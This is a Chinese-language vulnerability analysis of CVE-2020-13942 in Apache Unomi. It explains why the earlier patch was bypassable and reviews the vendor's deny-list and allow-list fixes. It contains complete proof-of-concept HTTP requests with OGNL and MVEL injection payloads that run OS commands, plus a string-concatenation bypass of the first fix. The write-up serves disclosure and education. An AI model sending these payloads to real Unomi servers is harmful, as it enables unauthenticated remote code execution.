上篇讲完了 CVE-2020-11975;
现在是下篇 CVE-2020-13942。
漏洞简介:
Checkmarx Security Research Team绕过了上一个patch(修复CVE-2020-11975的代码),再次实现了RCE,漏洞编号CVE-2020-13942。
远程攻击者发送带有了MVEL或OGNL表达式的请求,(因为MVEL和OGNL表达式可以包含任意类),可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。
因为MVEL表达式和OGNL表达式,是由Unomi的包里的不同的"内部程序包"(internal packages)里的不同的类进行计算/执行,所以CVE-2020-13942对应了2个独立的漏洞。
触发前提:
Apache Unomi < 1.5.2 的版本(如1.5.1),无需身份验证,能访问到就能RCE。
安全版本:
Apache Unomi >=1.5.2 修复了漏洞CVE-2020-13942.
漏洞评级:
这2个漏洞(名为CVE-2020-13942)的CVS分数均为10.0, 因为它们能访问OS,还能破坏Unomi的机密性,完整性。
Timeline:
June 24, 2020 – Vulnerability disclosed to Apache Unomi developers
August 20, 2020 – Code with the mix merged to master branch
November 13, 2020 – version 1.5.2 containing the fixed code is released
November 17, 2020 – public disclosure
为什么上一个patch(修复CVE-2020-11975的代码)可被绕过?
因为那个patch的SecureFilteringClassLoader
依赖于这样一个假设: “MVEL和OGNL表达式中的每个类都是通过使用ClassLoader
类的loadClass()
方法加载的。”
事实上,不通过调用loadClass()
方法也能加载类。所以只要不调用loadClass(),就不会被SecureFilteringClassLoader
限制, 也就是绕过了安全管控。
不调用loadClass()
方法,怎么实现加载类的呢?
有2种注入办法,算是2个漏洞,编号都为CVE-2020-13942。
下面这种方法可以在不调用loadClass()
的情况下加载"OGNL表达式中的类"(classes inside OGNL expressions)。
例子: 以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象,而不会调用SecureFilteringClassLoader
的loadClass()
方法。
下面的表达式调用Runtime.getruntime()
来得到Runtime对象,然后调用exec()
。
(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")). (#runtimemethod = #runtimeclass.getDeclaredMethods(). {^ #this.name.equals(\"getRuntime\")}[0]). (#runtimeobject = #runtimemethod.invoke(null,null)). (#execmethod = #runtimeclass.getDeclaredMethods(). {? #this.name.equals(\"exec\")}. {? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}. {? #this.getParameters().length < 2}[0]). (#execmethod.invoke(#runtimeobject,\"calc.exe\"))
PoC 保存到了这儿以便参考 https://github.com/1135/unomi_exploit
PoC: HTTP request with OGNL injection
以下(PoC)HTTP请求中的OGNL表达式,得到了Runtime
并使用Java reflection API执行了一条OS命令。
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2_anystr"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
macOS 11.0.1下启动计算器/System/Applications/Calculator.app/Contents/MacOS/Calculator
payload看起来是一大堆字符,其实挺简单,比如执行系统命令touch /tmp/POC
:
只是用reflection API写了Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");
,并把它包装为OGNL语法。
Response如下(可能不重要,仅供参考)
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=79bbf636-11aa-4c3e-b276-2980c89874e9; Path=/; Expires=Wed, 24-Nov-2021 03:20:20 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:20:20 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)
{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2_anystr"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}
事实上,由于MVEL表达式不是原始漏洞的一部分,所以SecurityFilteringClassLoader对MVEL注入问题的防御效果没有进行彻底的测试。也就是说它仅能涵盖了一部分情况。
MVEL表达式使用"已经实例化的类"(already instantiated classes),访问那些已经存在的、现有的对象,如Runtime
或System
,不会调用loadClass()
方法。
如,MVEL表达式 Runtime r = Runtime.getRuntime(); r.exec("calc.exe");
因为是访问已经存在的、现有的对象,而不是创建它,所以可绕过SecureFilteringClassLoader类引入的安全检查(见1.5.1版本的ConditionContextHelper
类的executeScript
方法)。
修复CVE-2020-11975之后,当时的最新版Unomi(1.5.1)下,可在"条件"(condition)内进行MVEL表达式的计算/运行,这个"条件"(condition)里包含了任意类。
下面的HTTP请求中有一个"条件"(condition),该"条件"(condition)带有1个参数,这个参数包含了一条MVEL表达式:
script::Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");
Unomi会解析这个值,并把script::
之后的Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");
当作一条MVEL表达式去执行。
PoC: HTTP request with MVEL injection
以下(PoC)HTTP请求中的MVEL表达式创建了一个Runtime对象并运行OS命令。
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564
{
"filters": [
{
"id": "myfilter1_anystr",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test-demo-session-id_anystr"
}
测试成功。
Response如下(可能不重要,仅供参考)
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=281304ce-0687-42cb-9899-d596421bbb9e; Path=/; Expires=Wed, 24-Nov-2021 03:26:27 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=54d3f93c-0b12-4a4c-9843-87738cdc986b; Path=/; Expires=Wed, 24-Nov-2021 03:26:27 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)
{"profileId":"54d3f93c-0b12-4a4c-9843-87738cdc986b","sessionId":"test-demo-session-id_anystr","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":{"myfilter1_anystr":false},"processedEvents":0,"personalizations":null,"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}
成功绕过:
这2种方法都成功绕过了1.5.1版本中引入的"安全管控"(security control),在2个不同的位置都实现了RCE。
漏洞危害:
Unomi可以与(通常在内网中的)各种数据存储、和数据分析系统紧密集成。该漏洞通过公开endpoint触发,攻击者可在服务器上运行OS命令。
该漏洞可作为内网横向移动中的一环。
大致过程:Apache Unomi开发者的第1次修复,没修复完全,第2次(最终修复方案)算是修复了漏洞CVE-2020-13942。
【第1次修复】
为了缓解这2个漏洞, Unomi开发人员提出了一系列控制措施:
1.默认情况下,对于公开的endpoints的MVEL表达式的计算/运行处于关闭状态,但对于非公开的endpoints仍然存在漏洞。
默认情况下,OGNL表达式的计算/运行在任何地方都处于关闭状态。
2.使用正则表达式来过滤掉MVEL脚本中不期望出现的对象,例如Runtime,ProcessBuilder等。
具体代码如下
https://github.com/apache/unomi/blob/0b81ba35dd3c3c2e0a92ce06592b3df90571eced/scripting/src/main/java/org/apache/unomi/scripting/ExpressionFilter.java#L39-L49
// ExpressionFilter.java public String filter(String expression) { if (forbiddenExpressionPatterns != null && expressionMatches(expression, forbiddenExpressionPatterns)) { logger.warn("Expression {} is forbidden by expression filter", expression); return null; } if (allowedExpressionPatterns != null && !expressionMatches(expression, allowedExpressionPatterns)) { logger.warn("Expression {} is not allowed by expression filter", expression); return null; } return expression; }
3.Potentially dangerous classes like Runtime, ProcessBuilder, etc. are pointing to String class inside the MVEL runtime. (MvelScriptExecutor file in the right pane)
有潜在危险的类(如Runtime、ProcessBuilder等),指向MVEL runtime中的String
类。
具体代码如下
https://github.com/apache/unomi/blob/0b81ba35dd3c3c2e0a92ce06592b3df90571eced/scripting/src/main/java/org/apache/unomi/scripting/MvelScriptExecutor.java#L58-L66
// MvelScriptExecutor.java // override hardcoded Class Literals that are inserted by default in MVEL and that may be a security risk parserContext.addImport("Runtime", String.class); parserContext.addImport("System", String.class); parserContext.addImport("ProcessBuilder", String.class); parserContext.addImport("Class", String.class); parserContext.addImport("ClassLoader", String.class); parserContext.addImport("Thread", String.class); parserContext.addImport("Compiler", String.class); parserContext.addImport("ThreadLocal", String.class); parserContext.addImport("SecurityManager", String.class);
【第1次修复】中提出的修复方案中的过滤是基于deny-list(黑名单)方法。这种方法从来都不是坚如磐石的安全管控,可能会被绕过。
这个filter允许计算/执行(经过过滤的那个MVEL表达式之内的)另一个MVEL表达式。这样做可以计算/执行恶意的MVEL表达式,从而避免了在MvelScriptExecutor中引入的潜在的危险的类覆盖。
Doing so allows evaluating the malicious MVEL expression avoiding the potentially dangerous classes override introduced in the MvelScriptExecutor.
下面这个MVEL表达式调用了MVEL.eval
,实现了在不受限制的环境中计算/执行另一个MVEL表达式。
其中那个将被执行的表达式的字符串由多个字符串拼接而成,通过使用"字符串拼接"来绕过正则表达式检查危险的类(如Runtime),这些字符串会拼成一个字符串,作为一个参数,传入MVEL.eval
。
可以绕过第1次修复:
java.util.Map context = new java.util.HashMap(); org.mvel2.MVEL.eval( \" Runt\"+ \"ime r = Run\"+ \"time.getRu\"+ \"ntime();r.exe\"+ \"c('calc.exe') \", context);
【最终修复方案】
commits如下
https://github.com/apache/unomi/pull/179/commits/3bba224ccad3facffa6342a0b68dff06ee07dd89
最终修复方案引入了 对MVEL表达式的基于allow-list(白名单)的检查。 这个方案仅执行了明确允许了的表达式,因此不可能执行任意表达式。
能修改allowed-list吗?
表达式由ExpressionFilter
类基于应用程序配置中定义的allowed-list进行过滤。 这个allowed-list在应用程序启动期间被加载,并且在应用程序运行时是不可变的,因此,不能在运行时修改这个allowed-list。
具体代码如下
https://github.com/apache/unomi/blob/master/scripting/src/main/java/org/apache/unomi/scripting/ExpressionFilter.java
附该文件的完整代码。
package org.apache.unomi.scripting; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Set; import java.util.regex.Pattern; /** * An expression filter is used to allow/deny scripts for execution. */ public class ExpressionFilter { private static final Logger logger = LoggerFactory.getLogger(ExpressionFilter.class.getName()); private final Set<Pattern> allowedExpressionPatterns; private final Set<Pattern> forbiddenExpressionPatterns; public ExpressionFilter(Set<Pattern> allowedExpressionPatterns, Set<Pattern> forbiddenExpressionPatterns) { this.allowedExpressionPatterns = allowedExpressionPatterns; this.forbiddenExpressionPatterns = forbiddenExpressionPatterns; } public String filter(String expression) { if (forbiddenExpressionPatterns != null && expressionMatches(expression, forbiddenExpressionPatterns)) { logger.warn("Expression {} is forbidden by expression filter", expression); return null; } if (allowedExpressionPatterns != null && !expressionMatches(expression, allowedExpressionPatterns)) { logger.warn("Expression {} is not allowed by expression filter", expression); return null; } return expression; } private boolean expressionMatches(String expression, Set<Pattern> patterns) { for (Pattern pattern : patterns) { if (pattern.matcher(expression).matches()) { return true; } } return false; } }
从这个例子看出,有的漏洞修复代码只针对了特定的payload,再次证明了黑名单的修复方案往往容易被绕过。
"用户定义的表达式语言语句"(user-defined expression language statements)的计算/执行,非常危险且难以约束。
Struts 2是一个经典的例子,说明限制动态OGNL表达式(避免RCE)有多困难。
这些尝试是从EL内部/在EL上实施了使用限制,而不是出于通用目的"限制污染了的EL的使用",这是一种反复迭代的修复方案(总被绕过),而不是最终修复方案。
最终修复方案:
防止RCE的一种更可靠的方法是彻底删除对任意EL expressions的支持,创建一组依赖于 "动态参数"(dynamic parameters) 的 "静态表达式"(static expressions)。